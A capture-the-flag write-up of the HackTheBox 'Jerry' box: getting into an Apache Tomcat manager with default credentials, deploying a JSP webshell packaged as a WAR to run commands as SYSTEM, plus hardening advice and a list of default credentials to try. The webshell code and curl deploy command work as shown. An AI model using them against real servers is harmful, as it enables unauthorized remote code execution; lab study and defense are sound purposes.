- OS: Windows
- Domain / vhosts: none — single IP, single service
Summary
Jerry is one of the simplest Windows boxes on HackTheBox and exists primarily
to teach two ideas. First: Apache Tomcat ships with a /manager web app that
is administratively powerful (it can deploy arbitrary web applications) and
historically shipped with default credentials enabled in some distributions.
Second: any user who can deploy a Java web application to a Tomcat instance
trivially gets code execution in the context of the Tomcat process — and on
Windows that process very often runs as NT AUTHORITY\SYSTEM.
The chain is: nmap finds a single open port (8080) running Tomcat 7.0.88; the
manager interface accepts the default tomcat:s3cret credentials; a JSP
webshell wrapped in a WAR is uploaded via the Manager text API; requesting the
shell executes commands as SYSTEM. There is no separate user-flag and
root-flag stage — both flags are stored together in
C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt, which is the
box’s wink at the fact that you skip the user pivot entirely.
The bug class to remember is “management interface with default creds + the ability to deploy executable code.” It recurs across countless products (Tomcat, JBoss/WildFly, Jenkins, GlassFish, WebLogic, Jira plugins, etc.) and is one of the highest-yield targets on any internal pentest.
Recon
A single TCP port responds to a full SYN scan; no UDP services of interest.
nmap --privileged -sC -sV -p- --min-rate=1000 -T4 -oA scans/nmap-full <TARGET>
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Two things matter in that output:
- The
Apache-Coyote/1.1server header and theApache Tomcat/7.0.88HTML title disclose the exact framework and version. Tomcat 7.0.88 was released in 2018 and has no unauthenticated RCE of its own — meaning the path forward is almost certainly the management interface, not a CVE. - Only port 8080 is exposed. There is no SMB, no RDP, no WinRM. The Tomcat service is the only attack surface, so anything that follows must go through HTTP.
The machine name “Jerry” is itself a hint — Tom & Jerry → Tomcat.
Web enumeration / surface mapping
Browsing to http://<TARGET>:8080/ returns the default Tomcat splash page
with three big buttons: Server Status, Manager App, and Host
Manager. All three are linked to /manager/html or /host-manager/html,
both of which are protected by HTTP Basic auth (WWW-Authenticate: Basic
realm="Tomcat Manager Application").
There is no point fuzzing for hidden directories on this box — the manager interface is advertised on the front page. The only question is what credentials it accepts.
Foothold
Tomcat 7 historically shipped with a tomcat-users.xml example file that
contained sample accounts; some packages installed those samples by default.
The manager ships with a “what to do if you forgot your password” page that
literally lists tomcat:s3cret, admin:admin, role1:role1, etc. as
examples, and over the years those examples ended up wired into real
deployments. On Jerry, tomcat:s3cret works.
GET /manager/html HTTP/1.1
Host: <TARGET>:8080
Authorization: Basic dG9tY2F0OnMzY3JldA==
The manager app exposes a text-based deployment API at /manager/text/deploy
intended for scripted use. With manager credentials in hand, the standard
path is to write a tiny JSP webshell, package it as a WAR (a WAR is just a
JAR with a particular layout), and deploy it.
A minimal cmd.jsp:
<%@ page import="java.util.*,java.io.*"%>
<% String c=request.getParameter("cmd");
if(c!=null){
Process p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",c});
BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null) out.println(l);
} %>
Pack and deploy:
jar -cvf cmd.war cmd.jsp
curl -u tomcat:s3cret -T cmd.war \
"http://<TARGET>:8080/manager/text/deploy?path=/cmd"
Tomcat responds with OK - Deployed application at context path /cmd.
Requesting /cmd/cmd.jsp?cmd=whoami returns:
nt authority\system
This is the same trick that msfvenom -p java/jsp_shell_reverse_tcp and
Metasploit’s tomcat_mgr_upload automate — it’s worth doing it manually at
least once to understand what the module is doing.
User flag / Privilege escalation
There is no separate user step on Jerry. The Tomcat service runs as
NT AUTHORITY\SYSTEM, so the foothold is the privilege escalation. Both
flags are stored together at
C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt. The filename
is the box author’s nod to the fact that the user → root pivot is collapsed
into a single step.
type "C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt"
The file contains both flag values, labeled user.txt and root.txt. Drop
the values into the engagement folder’s user.txt and root.txt to satisfy
HTB.
In the real world, Tomcat-as-SYSTEM is a configuration choice, not a
requirement. On hardened deployments the service runs as a low-privilege
local account (tomcat, tomcat7, etc.) and an attacker who lands the same
WAR-deploy RCE has to do a real privilege-escalation step afterwards (token
abuse, Potato-family attacks, kernel exploit, sensitive file read). Jerry
skips that intentionally.
Why each step worked
- Default credentials on a high-power interface. The manager app is effectively “remote code execution as a service” — anyone who authenticates can deploy WARs. Default creds on that endpoint is a critical finding by itself, before anyone even tries to exploit it.
- WAR deploy = RCE by design. This isn’t a CVE. Deploying executable code is the manager’s intended function. The bug is operational (credentials), not in Tomcat’s code.
- Service account = SYSTEM. On Windows, services installed via the Tomcat installer historically ran as Local System. Whoever sets up production Tomcat is supposed to switch to a dedicated service account with the minimum privileges Tomcat needs (read access to its install dir, write to its work/log dirs, bind to a port). Jerry never does that, and most lab boxes that ship Tomcat make the same choice on purpose.
Counterfactuals
In ascending order of effort, any one of these would have stopped the chain:
- Remove the example users from
tomcat-users.xml(one-line fix; eliminates the entire chain). - Restrict
/managerand/host-managerto localhost or to a management VLAN via theRemoteAddrValve(one-line<Valve>incontext.xml). - Run the Tomcat service as a low-privilege local account instead of
SYSTEM. Foothold still happens, but the attacker has to do a real local
privesc step to get the flag in
Administrator’s desktop. - Enforce a non-default password policy on the manager users (account lockout, length requirement, deployment from a script that rotates the credential at install time).
- Disable the
manager-scriptandmanager-guiroles entirely; ship CI/CD deployments via a different channel (e.g. file drop intowebapps/by an ops user over SSH).
Key Takeaways
- On any Tomcat or JBoss/WildFly box, try
tomcat:s3cret,admin:admin,tomcat:tomcat,admin:tomcat,manager:manager,role1:role1,tomcat:passwordbefore doing anything else. The list is short. curl -u <creds> -T payload.war "http://host:8080/manager/text/deploy?path=/x"is the fastest manual way to deploy. No Metasploit, no msfvenom needed — good to have memorized.- A JSP webshell is six lines. Don’t reach for a reverse-shell payload until
you’ve confirmed deployment works, because deploy errors are easier to
debug when you have a synchronous
?cmd=shell. - Tomcat returning
nt authority\systemon Windows is common but not guaranteed. Always runwhoami /privafter landing — even non-SYSTEM Tomcats often haveSeImpersonatePrivilege, which opens up the entire Potato family. - “Management interface + default creds + ability to deploy code” is a bug
class, not a single CVE. Same template applies to Jenkins (script
console), GlassFish (asadmin deploy), Jolokia/Spring Boot Actuator
(
/jolokia/exec), Solr (config-set upload), etc.
References
- Apache Tomcat 7 docs: Manager App HOW-TO — https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html
- Tomcat
RemoteAddrValvereference — https://tomcat.apache.org/tomcat-7.0-doc/config/valve.html#Remote_Address_Valve
Sanitization checklist
- No specific lab IPs (uses
<TARGET>) - No flag values
- No passwords other than the universally-documented Tomcat default
tomcat:s3cret(which is published in Apache’s own docs) - No attacker-host details